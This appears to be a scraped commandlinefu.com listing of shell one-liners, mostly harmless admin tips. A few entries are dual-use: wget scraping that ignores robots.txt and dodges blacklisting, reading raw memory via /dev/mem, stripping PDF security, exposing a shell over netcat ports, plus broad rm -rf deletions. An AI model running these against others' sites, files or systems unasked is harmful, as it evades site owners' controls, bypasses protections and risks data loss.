ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
Functions: cat diff ssh
Compare a remote file with a local file
Useful for checking if there are differences between local and remote files.
1 2 3 > Last ›
man ascii
Functions: man
Quick access to the ascii table.
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
Functions: wget
-p parameter tells wget to include all files, including images.
-e robots=off you don't want wget to obey by the robots.txt file
-U mozilla as your browsers identity.
--random-wait to let wget chose a random number of seconds to wait, avoid get into black list.
Other Useful wget Parameters:
--limit-rate=20k limits the rate at which it downloads files.
-b continues wget after logging out.
-o $HOME/wget_log.txt logs the output
net rpc shutdown -I ipAddressOfWindowsPC -U username%password
Functions: shutdown
Shutdown a Windows machine from Linux
This will issue a shutdown command to the Windows machine. username must be an administrator on the Windows machine. Requires samba-common package installed. Other relevant commands are:
net rpc shutdown -r : reboot the Windows machine
net rpc abortshutdown : abort shutdown of the Windows machine
Type:
net rpc
to show all relevant commands
du -h --max-depth=1
Functions: du
List the size (in human readable form) of all sub folders from the current location
curl ifconfig.me
Get your external IP address
curl ifconfig.me/ip -> IP Adress
curl ifconfig.me/host -> Remote Host
curl ifconfig.me/ua ->User Agent
curl ifconfig.me/port -> Port
thonks to http://ifconfig.me/
(cd /tmp && ls)
Jump to a directory, execute a command and jump back to current dir
ctrl-l
Clear the terminal screen
time read (ctrl-d to stop)
Functions: read time
A very simple and useful stopwatch
time read -sn1 (s:silent, n:number of characters. Press any character to stop)
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if //; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
Thank You!
Your LWN. subscription expires soon
Interesting reading
bash completion code question
this and that
RE: Relocating to name-elided
Functions: perl
Check your unread Gmail from the command line
notice what happens when there is more than one unread message in a thread...
also people please dont hardcode the password when you use curl. Leave it out and curl will ask you when it runs. Please...?
Show sample output | Comments (3) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
ssh -t reachable_host ssh unreachable_host
SSH connection through host in the middle
Unreachable_host is unavailable from local network, but it's available from reachable_host's network. This command creates a connection to unreachable_host through "hidden" connection to reachable_host.
ps aux | sort -nk +4 | tail
Functions: ps sort
ps returns all running processes which are then sorted by the 4th field in numerical order and the top 10 are sent to STDOUT.
Show sample output | Comments (7) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
telnet towel.blinkenlights.nl
A long time ago in a galaxy far,
far away......
Functions: telnet
Watch Star Wars via telnet
Use Ctrl-] to stop it.
+ + - - - - -
Reboot machine when everything is hanging
If the machine is hanging and the only help would be the power button, this key-combination will help to reboot your machine (more or less) gracefully.
R - gives back control of the keyboard
S - issues a sync
E - sends all processes but init the term singal
I - sends all processes but init the kill signal
U - mounts all filesystem ro to prevent a fsck at reboot
B - reboots the system
Save your file before trying this out, this will reboot your machine without warning!
http://en.wikipedia.org/wiki/Magic_SysRq_key
ping -i 60 -a IP_address
Functions: ping
Set audible alarm when an IP address comes online
Waiting for your server to finish rebooting? Issue the command above and you will hear a beep when it comes online. The -i 60 flag tells ping to wait for 60 seconds between ping, putting less strain on your system. Vary it to your need. The -a flag tells ping to include an audible bell in the output when a package is received (that is, when your server comes online).
echo "You can simulate on-screen typing just like in the movies" | pv -qL 10
Functions: echo
Simulate typing
This will output the characters at 10 per second.
less +F somelogfile
Functions: less
Make 'less' behave like 'tail -f'.
Using +F will put less in follow mode. This works similar to 'tail -f'. To stop scrolling, use the interrupt. Then you'll get the normal benefits of less (scroll, etc.).
Pressing SHIFT-F will resume the 'tailling'.
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
Functions: awk sort
List of commands you use most often
[...]
type partial command, kill this command, check something you forgot, yank the command, resume typing.
Example use :
sudo vim /root/bin/
##uh... autocomplete doesn't work...
sudo ls /root/bin
##ah! that's the name of the file!
sudo vim /root/bin/ ##resume here! Thanks readline!
awk '/start_pattern/,/stop_pattern/' file.txt
Functions: awk
I find this terribly useful for grepping through a file, looking for just a block of text. There's "grep -A # pattern file.txt" to see a specific number of lines following your pattern, but what if you want to see the whole block? Say, the output of "dmidecode" (as root):
dmidecode | awk '/Battery/,/^$/'
Will show me everything following the battery block up to the next block of text. Again, I find this extremely useful when I want to see whole blocks of text based on a pattern, and I don't care to see the rest of the data in output. This could be used against the '/etc/securetty/user' file on Unix to find the block of a specific user. It could be used against VirtualHosts or Directories on Apache to find specific definitions. The scenarios go on for any text formatted in a block fashion. Very handy.
disown -a && exit
Close shell keeping all subprocess running
diff <(sort file1) <(sort file2)
Functions: diff sort
diff two unsorted files without creating temporary files
bash/ksh subshell redirection (as file descriptors) used as input to diff
pushd /tmp
Push your present working directory to a stack that you can pop later
If are a Bash user and you are in a directory and need to go else where for a while but don't want to lose where you were, use pushd instead of cd.
cd /home/complicated/path/.I/dont/want/to/forget
cd thing/in/tmp
popd (returns you to /home/complicated/path/.I/dont/want/to/forget)
lsof -i
Watch Network Service Activity in Real-time
echo "The date is: $(date +%D)"
Backticks are evil
This is a simple example of using proper command nesting using $() over ``. There are a number of advantages of $() over backticks. First, they can be easily nested without escapes:
program1 $(program2 $(program3 $(program4)))
versus
program1 `program2 \`program3 \`program4\`\``
Second, they're easier to read, then trying to decipher the difference between the backtick and the singlequote: `'. The only drawback $() suffers from is lack of total portability. If your script must be portable to the archaic Bourne shell, or old versions of the C-shell or Korn shell, then backticks are appropriate, otherwise, we should all get into the habit of $(). Your future script maintainers will thank you for producing cleaner code.
nc -v -l 80 < file.ext
Sharing file through http 80 port
From the other machine open a web navigator and go to ip from the machine who launch netcat, http://ip-address/
If you have some web server listening at 80 port then you would need stop them or select another port before launch net cat ;-)
* You need netcat tool installed
< 1 2 3 4 > Last ›
echo "!!" > foo.sh
Create a script of the last executed command
Sometimes commands are long, but useful, so it's helpful to be able to make them permanent without having to retype them. An alternative could use the history command, and a cut/sed line that works on your platform.
history -1 | cut -c 7- > foo.sh
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
Functions: dd grep tr
Matrix Style
python -m smtpd -n -c DebuggingServer localhost:1025
python smtp server
This command will start a simple SMTP server listening on port 1025 of localhost. This server simply prints to standard output all email headers and the email body.
getconf LONG_BIT
32
Functions: getconf
Easy and direct way to find this out.
Show sample output | Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
CDPATH=:..:~:~/projects
Set CDPATH to ease navigation
CDPATH tells the cd command to look in this colon-separated list of directories for your destination. My preferred order are 1) the current directory, specified by the empty string between the = and the first colon, 2) the parent directory (so that I can cd lib instead of cd ../lib), 3) my home directory, and 4) my ~/projects directory.
translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
hola
Functions: sed wget
Google Translate
Usage:
translate
Example:
translate hello en es
See this for a list of language codes:
http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
Show sample output | Comments (8) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
lsof -P -i -n
Show apps that use internet connection at the moment. (Multi-Language)
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile
Rip audio from a video file.
Replace and accordingly.
wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -
Functions: tar wget
Extract tarball from internet without local saving
cat /etc/issue
Functions: cat
fuser -k filename
Functions: fuser
Kills a process that is locking a file.
Useful when you're trying to unmount a volume and other sticky situations where a rogue process is annoying the hell out of you.
sudo dd if=/dev/mem | cat | strings
Functions: cat dd sudo
A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done &
#
Functions: sleep tput
Put a console clock in top right corner
A nice way to use the console in full screen without forget the current time.
you can too add other infos like cpu and mem use.
!*
Reuse all parameter of the previous command line
!* is all of the arguments to the previous command rather than just the last one.
This is useful in many situations.
Here's a simple example:
vi cd /stuff
oops!
[exit vi, twice]
expands to: cd /stuff
\[command]
escape any command aliases
e.g. if rm is aliased for 'rm -i', you can escape the alias by prepending a backslash:
rm [file] # WILL prompt for confirmation per the alias
\rm [file] # will NOT prompt for confirmation per the default behavior of the command
ifconfig | convert label:@- ip.png
ifconfig | convert -background none label:@- miff:- | composite -tile pattern:checkerboard - -compose Dst_Over ip.png
Functions: ifconfig
save command output to image
Show sample output | Comments (4) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
rm !(*.foo|*.bar|*.baz)
Example: rm !(*.tex|*.pdf) deletes all except the tex and pdf files.
Functions: rm
ESC *
$ echo <*>
gives
$ echo aaa aab aba abb baa bab bba bbb
$ echo a<*>
$ echo aaa aab aba abb
but also :
$ <*>
$ \: \! . .. ... .... \[ \[\[ ]] \{ } 4xml 4xpath 4xslt 4xupdate 822-date 915resolution _a2dismod _a2dissite _a2enmod _a2ensite a2p a2ping aa-audit aa-autodep aa-complain aa-enforce aa-genprof aa-logprof aa-status aa-unconfined accept accessdb aconnect acpi acpi_available acpid acpi_fakekey acpi_listen acroread acyclic
(I stopped but it's basically the list of all the commands).
Inserts the results of an autocompletion in the command line
Pressing ESC then * will insert in the command line the results of the autocompletion.
It's hard to explain but if you look the sample output or do
echo ESC *
you will understand quickly.
By the way, few reminders about ESC :
- Hold ESC does the same thing as tab tab
- 'ESC .' inserts the last argument of last command (can be done many times in order to get the last argument of all previous commands)
Show sample output | Comments (16) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
i="8uyxVmdaJ-w";mplayer -fs $(curl -s "http://www.youtube.com/get_video_info?&video_id=$i" | echo -e $(sed 's/%/\\x/g;s/.*\(v[0-9]\.lscache.*\)/http:\/\/\1/g') | grep -oP '^[^|,]*')
MPlayer SVN-r32999-4.4.5 (C) 2000-2011 MPlayer Team
Playing http://v3.lscache2.c.youtube.com/videoplayback?sparams=id%2Cexpire%2Cip%2Cipbits%2Citag%2Calgorithm%2Cburst%2Cfactor&fexp=901031%2C907508%2C900304&algorithm=throttle-factor&itag=34&ipbits=8&burst=40&sver=3&signature=97D6F8D1A948EF2451FD4F093ECA7EF3795EE424.73F2B07D5F478ACEAFCEAC98E7BF2623FEED20EC&expire=1299384000&key=yt1&ip=97.0.0.0&factor=1.25&id=f2ecb156675a27ec.
Resolving v3.lscache2.c.youtube.com for AF_INET6...
Couldn't resolve name for AF_INET6: v3.lscache2.c.youtube.com
Resolving v3.lscache2.c.youtube.com for AF_INET...
Connecting to server v3.lscache2.c.youtube.com[74.125.15.14]: 80...
Cache size set to 320 KBytes
Cache fill: 19.54% (64036 bytes)
libavformat file format detected.
[flv @ 0x2acf540] Estimating duration from bitrate, this may be inaccurate
[lavf] stream 0: video (h264), -vid 0
[lavf] stream 1: audio (aac), -aid 0
VIDEO: [H264] 640x360 0bpp 24.000 fps 557.2 kbps (68.0 kbyte/s)
Clip info:
duration: 162
starttime: 0
totalduration: 162
width: 640
height: 360
videodatarate: 544
audiodatarate: 97
totaldatarate: 649
framerate: 24
bytelength: 13120260
canseekontime: true
sourcedata: B4A7D0F03HH1299359484777471
purl:
pmsg:
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders
AUDIO: 44100 Hz, 2 ch, s16le, 99.0 kbit/7.02% (ratio: 12379->176400)
Selected audio codec: [ffaac] afm: ffmpeg (FFmpeg AAC (MPEG-2/MPEG-4 Audio))
[AO OSS] audio_setup: Can't open audio device /dev/dsp: Device or resource busy
AO: [alsa] 44100Hz 2ch s16le (2 bytes per sample)
Starting playback...
Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
VO: [xv] 640x360 => 640x360 Planar YV12 [fs]
A: 2.4 V: 2.4 A-V: -0.000 ct: 0.000 0/ 0 19% 15% 0.4% 7 0 47%
Functions: echo grep sed
Stream YouTube URL directly to mplayer.
This is the result of a several week venture without X. I found myself totally happy without X (and by extension without flash) and was able to do just about anything but watch YouTube videos... so this a the solution I came up with for that. I am sure this can be done better but this does indeed work... and tends to work far better than YouTube's ghetto proprietary flash player ;-)
Replace $i with any YouTube ID you want and this will scrape the site for the _real_ URL to the full quality .FLV file on Youtube's server and will then will hand that over to mplayer (or vlc or whatever you want) to be streamed.
In some browsers you can replace $i with just a % or put this in a shell script so all YouTube IDs can be handed directly off to your media player of choice for true streaming without the need for Flash or a downloader like clive. (I do however fully recommend clive if you wish to archive videos instead of streaming them)
If any interest is shown I would be more than happy to provide similar commands for other sites. Most streaming flash players use similar logic to YouTube.
Edit: 05/03/2011 -
Original (no longer working) command:
mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s $youtube_url | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")")
Show sample output | Comments (13) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
!:-
Insert the last command without the last argument (bash)
/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.google.com/
then
!:- http://www.commandlinefu.com/
is the same as
/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.commandlinefu.com/
awk '!x[$0]++'
Remove duplicate entries in a file without sorting.
Using awk, find duplicates in a file without sorting, which reorders the contents. awk will not reorder them, and still find and remove duplicates which you can then redirect into another file.
vim -x
~
Enter encryption key:
Functions: vim
Add Password Protection to a file your editing in vim.
While I love gpg and truecrypt there's some times when you just want to edit a file and not worry about keys or having to deal needing extra software on hand. Thus, you can use vim's encrypted file format.
For more info on vim's encrypted files visit: http://www.vim.org/htmldoc/editing.html#encryption
ssh-copy-id username@hostname
Copy your SSH public key on a remote machine for passwordless login - the easy way
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
|-Comics
|---Anomaly
|---Cyanide & Happiness
|---Dilbert
|---Misc
|---Pearls Before Swine
|---Russell's Teapot
|---xkcd
|-Docks
|---Niqu Dock 1.2
|-----2D Style
|-----3D Style
|-----Defaults
|---Rounded Reflection
|-Ebooks
|---The Guitarist's Guide to Composing and Improvising
Functions: grep ls sed
Graphical tree of sub-directories
Prints a graphical directory tree from your current directory
alias 'ps?'='ps ax | grep '
ps? ruby
13687 s000 S+ 0:06.91 ruby script/server
13693 s001 R+ 0:00.00 grep ruby
Functions: alias grep
Easily search running processes (alias).
Show sample output | Comments (12) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
< 1 2 3 4 5 > Last ›
some_very_long_and_complex_command # label
Easy and fast access to often executed commands that are very long and complex.
When using reverse-i-search you have to type some part of the command that you want to retrieve. However, if the command is very complex it might be difficult to recall the parts that will uniquely identify this command. Using the above trick it's possible to label your commands and access them easily by pressing ^R and typing the label (should be short and descriptive).
UPDATE:
One might suggest using aliases. But in that case it would be difficult to change some parts of the command (such as options, file/directory names, etc).
ps aux | grep [p]rocess-name
> ps aux | grep [m]ingetty
Functions: grep ps
Find the process you are looking for minus the grepped one
As an alternative to using an additional grep -v grep you can use a simple regular expression in the search pattern (first letter is something out of the single letter list ;-)) to drop the grep command itself.
Show sample output | Comments (9) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
readom dev=/dev/scd0 f=/path/to/image.iso
Create a CD/DVD ISO image from disk.
Many like to use 'dd' for creating CD/DVD iso images. This is bad. Very bad. The reason this is, is 'dd' doesn't have any built-in error checking. So, you don't know if you got all the bits or not. As such, it is not the right tool for the job. Instead, 'reaom' (read optical media) from the wodim package is what you should be using. It has built-in error checking. Similarly, if you want to burn your newly creating ISO, stay away from 'dd', and use:
wodim -v -eject /path/to/image.iso
^Z $bg $disown
$ sleep 100
[1]+ Stopped sleep 100
$ bg
[1]+ sleep 100 &
$ disown
$ logoff
--
Another TTY:
$ ps -ef | grep sleep100
Job Control
You're running a script, command, whatever.. You don't expect it to take long, now 5pm has rolled around and you're ready to go home... Wait, it's still running... You forgot to nohup it before running it... Suspend it, send it to the background, then disown it... The ouput wont go anywhere, but at least the command will still run...
mv filename.{old,new}
Functions: mv
quickly rename a file
pv access.log | gzip > access.log.gz
611MB 0:00:11 [58.3MB/s] [=> ] 15% ETA 0:00:59
Functions: gzip
Monitor progress of a command
Pipe viewer is a terminal-based tool for monitoring the progress of data through a pipeline. It can be inserted into any normal pipeline between two processes to give a visual indication of how quickly data is passing through, how long it has taken, how near to completion it is, and an estimate of how long it will be until completion. Source: http://www.catonmat.net/blog/unix-utilities-pipe-viewer/
Show sample output | Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
strace -ff -e trace=write -e write=1,2 -p SOME_PID
Functions: strace
intercept stdout/stderr of another process
? () { echo "$*" | bc -l; }
23?
Functions: bc echo
defines a handy function for quick calculations from cli.
once defined:
? 10*2+3
netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
64.74.153.141 3 ***
192.168.10.10 5 *****
Functions: awk grep netstat sort uniq
Graph # of connections for each hosts.
Written for linux, the real example is how to produce ascii text graphs based on a numeric value (anything where uniq -c is useful is a good candidate).
vim scp://username@host//path/to/somefile
Edit a file on a remote host using vim
mount /path/to/file.iso /mnt/cdrom -oloop
Mount a .iso file in UNIX/Linux
"-o loop" lets you use a file as a block device
watch -t -n1 "date +%T|figlet"
_ ___ ____ __ _ _ _____
/ |/ _ \ _| ___| / /_ _| || |___ |
| | (_) (_)___ \| '_ (_) || |_ / /
| |\__, |_ ___) | (_) ||__ _/ /
|_| /_/(_)____/ \___(_) |_|/_/
Functions: watch
This command displays a clock on your terminal which updates the time every second. Press Ctrl-C to exit.
A couple of variants:
A little bit bigger text:
watch -t -n1 "date +%T|figlet -f big"
You can try other figlet fonts, too.
Big sideways characters:
watch -n 1 -t '/usr/games/banner -w 30 $(date +%M:%S)'
This requires a particular version of banner and a 40-line terminal or you can adjust the width ("30" here).
date -d@1234567890
Functions: date
Convert seconds to human-readable format
This example, for example, produces the output, "Fri Feb 13 15:26:30 EST 2009"
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
user@machine:~$ strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
XhJjKL07KNZSDDpwdPm9rACnW3FR0w
Functions: grep head strings tr
Generate a random password 30 characters long
Find random strings within /dev/urandom. Using grep filter to just Alphanumeric characters, and then print the first 30 and remove all the line feeds.
sed -n '10,20p'
Functions: sed
Print all the lines between 10 and 20 of a file
Similarly, if you want to print from 10 to the end of line you can use: sed -n '10,$p' filename
This is especially useful if you are dealing with a large file. Sometimes you just want to extract a sample without opening the entire file.
Credit goes to wbx & robert at the comments section of http://www.commandlinefu.com/commands/view/348/get-line1000-from-text.#comment
rm -f !(survivior.txt)
Remove all but one specific file
notify-send [""] ""
Send pop-up notifications on Gnome
The title is optional.
Options:
-t: expire time in milliseconds.
-u: urgency (low, normal, critical).
-i: icon path.
On Debian-based systems you may need to install the 'libnotify-bin' package.
Useful to advise when a wget download or a simulation ends. Example:
wget URL ; notify-send "Done"
du -s * | sort -n | tail
Functions: du sort
Get the 10 biggest files/folders for the current direcotry
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
Contact Name - Email Subject
Contact Name2 - Email Subject2
(...)
Functions: awk sed tr
Checks the Gmail ATOM feed for your account, parses it and outputs a list of unread messages.
For some reason sed gets stuck on OS X, so here's a Perl version for the Mac:
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '' '{for (i=2; i<=NF; i++) {print $i}}' | perl -pe 's/^(.*)<\/title>.*(.*)<\/name>.*$/$2 - $1/'
If you want to see the name of the last person, who added a message to the conversation, change the greediness of the operators like this:
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '' '{for (i=2; i<=NF; i++) {print $i}}' | perl -pe 's/^(.*)<\/title>.*?(.*?)<\/name>.*$/$2 - $1/'
dd if=/dev/zero of=/dev/null bs=1M count=32768
32768+0 records in
32768+0 records out
34359738368 bytes (34 GB) copied, 2.56305 s, 13.4 GB/s
Functions: dd
Processor / memory bandwidthd? in GB/s
Read 32GB zero's and throw them away.
How fast is your system?
ss -p
for one line per process:
ss -p | cat
for established sockets only:
ss -p | grep STA
for just process names:
ss -p | cut -f2 -sd\"
ss -p | grep STA | cut -f2 -d\"
open .
Open Finder from the current Terminal location
I did not know this, i'd like to share...
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
Record a screencast and convert it to an mpeg
Grab X11 input and create an MPEG at 25 fps with the resolution 800x600
mkdir -p a/long/directory/path
Functions: mkdir
Make directory including intermediate directories
This will create the intermediate directories that do not exist.
I did not know about this for a long time.
man -t manpage | ps2pdf - filename.pdf
Create a pdf version of a manpage
Quick and dirty version. I made a version that checks if a manpage exists (but it's not a oneliner). You must have ps2pdf and of course Ghostscript installed in your box.
Enhancements appreciated :-)
‹ First < 2 3 4 5 6 > Last ›
pv sourcefile > destfile
22MB 0:00:02 [ 121MB/s] [=================> ] 22% ETA 0:00:06
Copy a file using pv and watch its progress
pv allows a user to see the progress of data through a pipeline, by giving information such as time elapsed, percentage completed (with progress bar), current throughput rate, total data transferred, and ETA. (man pv)
echo "rm -rf /unwanted-but-large/folder" | batch
job 6 at 2009-02-04 19:03
Run a command only when load average is below a certain threshold
Good for one off jobs that you want to run at a quiet time. The default threshold is a load average of 0.8 but this can be set using atrun.
lsmod | perl -e 'print "digraph \"lsmod\" {";<>;while(<>){@_=split/\s+/; print "\"$_[0]\" -> \"$_\"\n" for split/,/,$_[3]}print "}"' | dot -Tpng | display -
Functions: dot lsmod perl
parse `lsmod' output and pass to `dot' drawing utility then finally pass it to an image viewer
read day month year <<< $(date +'%d %m %y')
Functions: date read
Multiple variable assignments from command output in BASH
This version uses read instead of eval.
ssh -t hostA ssh hostB
directly ssh to host B that is only accessible through host A
Of course you need to be able to access host A for this ;-)
% screen -r someuser/
Functions: screen
Share a terminal screen with others
If you enable multiuser, then you can permit others to share your screen session. The following conditions apply:
1. screen must be suid root;
2. "multiuser on" must be configured in ~/.screenrc;
3. control the others user(s) access with "aclchg":
# ----- from ~/.screenrc-users -----
aclchg someuser +rx "#?" #enable r/o access to "someuser"
aclchg someuser -x "#,at,aclchg,acladd,acldel,quit" # don't allow these
aclchg otheruser +rwx "#?" # enable r/w access to "otheruser"
aclchg otheruser -x "#,at,aclchg,acladd,acldel,quit" # don't allow them to use these commands
# -----
After doing this (once), you start your session with:
$ screen
Then, the other user can join your terminal session(s) with youruserid:
$ screen -r youruserid/
Note: the trailing "/" is required.
Multiple users can share the same screen simultaneously, each with independent access controlled precisely with "aclchg" in the ~/.screenrc file.
I use the following setup:
# ~/.screenrc-base
# default screenrc on any host
source $HOME/.screenrc-base
source $HOME/.screenrc-$HOST
source $HOME/.screenrc-users
Then, the base configurations are in ~/.screenrc-base; the host-specific configurations are in ~/.screenrc-$HOST, and the user configurations are in ~/.screenrc-users.
The host-specific .screenrc file might contain some host-specific screen commands; e.g.:
# ~/.screen-myhost
screen -t 'anywhere' /bin/tcsh
screen -t 'anywhere1' /bin/tcsh
# ----
The .screenrc-base contains:
## I find typing ^a (Control-a) awkward. So I set the escape key to CTRL-j instead of a.
escape ^Jj
termcapinfo xterm* ti@:te@:
autodetach on
zombie kr
verbose on
multiuser on
ssh -MNf @
Create a persistent connection to a machine
Create a persistent SSH connection to the host in the background. Combine this with settings in your ~/.ssh/config:
Host host
ControlPath ~/.ssh/master-%r@%h:%p
ControlMaster no
All the SSH connections to the machine will then go through the persisten SSH socket. This is very useful if you are using SSH to synchronize files (using rsync/sftp/cvs/svn) on a regular basis because it won't create a new socket each time to open an ssh connection.
watch -n 1 mysqladmin --user= --password= processlist
Monitor the queries being run by MySQL
Watch is a very useful command for periodically running another command - in this using mysqladmin to display the processlist. This is useful for monitoring which queries are causing your server to clog up.
More info here: http://codeinthehole.com/archives/2-Monitoring-MySQL-processes.html
rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
RTFM function
RTFMFTW.
man hier
Show File System Hierarchy
Curious about differences between /bin, /usr/bin, and /usr/local/bin? What should be in the /sbin dir? Try this command to find out.
Tested against Red Hat & OS X
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
Functions: gs
Remove security limitations from PDF documents using ghostscript
Remove security from PDF document using this very simple command on Linux and OSX. You need ghostscript for this baby to work.
find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
Functions: find md5sum sort uniq xargs
Find Duplicate Files (based on size first, then MD5 hash)
This dup finder saves time by comparing size first, then md5sum, it doesn't delete anything, just lists them.
curl icanhazip.com
return external ip
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done
Backup all MySQL Databases to individual files
watch -n 1 'echo "obase=2;`date +%s`" | bc'
1001010111100001110000011011110
Binary Clock
Create a binary clock.
sudo touch /forcefsck
Functions: sudo touch
Run a file system check on your next boot.
The empty file /forcefsck causes the file system check fsck to be run next time you boot up, after which it will be removed.
This works too:
sudo >/forcefsck
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }
# commandlinefu.com by David Winterbottom
# bash or tcsh redirect both to stdout and to a file
echo "Hello World." | tee -a hello.txt
Search commandlinefu.com from the command line using the API
Usage: cmdfu hello world
ssh -t remote_host screen -r
Functions: screen ssh
Attach screen over ssh
ssh-keygen -R
Functions: ssh ssh-keygen
Remove a line in a text file. Useful to fix
In this case it's better do to use the dedicated tool
sed -n 5p
jeju:[xxx] > sed -n 5p test
line 5
jeju:[xxx] > cat test
line 1
line 2
line 3
line 4
line 6
line 7
line 8
line 9
line 10
jeju:[xxx] >
To print a specific line from a file
You can get one specific line during any procedure. Very interesting to be used when you know what line you want.
Show sample output | Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/' | wget -i - -O surprise.flv
Resolving v3.lscache3.c.youtube.com... 74.125.170.46
Connecting to v3.lscache3.c.youtube.com|74.125.170.46|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25120289 (24M) [video/x-flv]
Saving to: `surprise.flv'
Functions: sed tr wget
Nothing special required, just wget, sed & tr!
What is my public IP-address?
Short command, easy to remember
tar -tf | xargs rm -r
Functions: rm tar xargs
Remove all files previously extracted from a tar(.gz) file.
ps awwfux | less -S
Functions: less ps
Show a 4-way scrollable process tree with full details.
If you want a visual representation of the parent/child relationships between processes, this is one easy way to do it. It's useful in debugging collections of shell scripts, because it provides something like a call traceback.
When a shell script breaks, just remember "awwfux".
:
Bring the word under the cursor on the :ex line in Vim
Very handy to bring the word currently under the cursor into a :s command in Vim.
If the cursor was on the word "eggs":
:s/ ==> :s/eggs
‹ First < 3 4 5 6 7 > Last ›
du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'
3.3G .
539.5M ./doc
494.2M ./locale
324.2M ./javadoc
229.3M ./icons
187.0M ./gnome
156.1M ./texmf
154.0M ./kde4
141.1M ./eclipse
135.5M ./fonts
91.4M ./gimp
62.1M ./java
Functions: du perl sort
Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
Probably only works with GNU du and modern perls.
wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images
This recursively downloads all images from a given website to your /tmp directory. The -nH and -nd switches disable downloading of the directory structure.
cp /work/host/phone/ui/main.cpp !#$:s/host/target
using `!#$' to referance backward-word
expand to:
cp /work/host/phone/ui/main.cpp /work/target/phone/ui/main.cpp
!#
The entire command line typed so far.
script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)
Functions: script tee
Broadcast your shell thru ports 5000, 5001, 5002 ...
run 'nc yourip 5000', 'nc yourip 5001' or 'nc yourip 5002' elsewhere will produce an exact same mirror of your shell. This is handy when you want to show someone else some amazing stuff in your shell without giving them control over it.
for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done
Show numerical values for each of the 256 colors in bash
Same as http://www.commandlinefu.com/commands/view/5876, but for bash.
This will show a numerical value for each of the 256 colors in bash. Everything in the command is a bash builtin, so it should run on any platform where bash is installed. Prints one color per line. If someone is interested in formatting the output, paste the alternative.
chmod --reference file1 file2
Functions: chmod
Makes the permissions of file2 the same as file1
Also works with:
chgrp --reference file1 file2 chown --reference file1 file2
knock 3000 4000 5000 && ssh -p user@host && knock 5000 4000 3000
Port Knocking!
Knock on ports to open a port to a service (ssh for example) and knock again to close the port. You have to install knockd.
See example config file below.
[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 3000,4000,5000
seq_timeout = 5
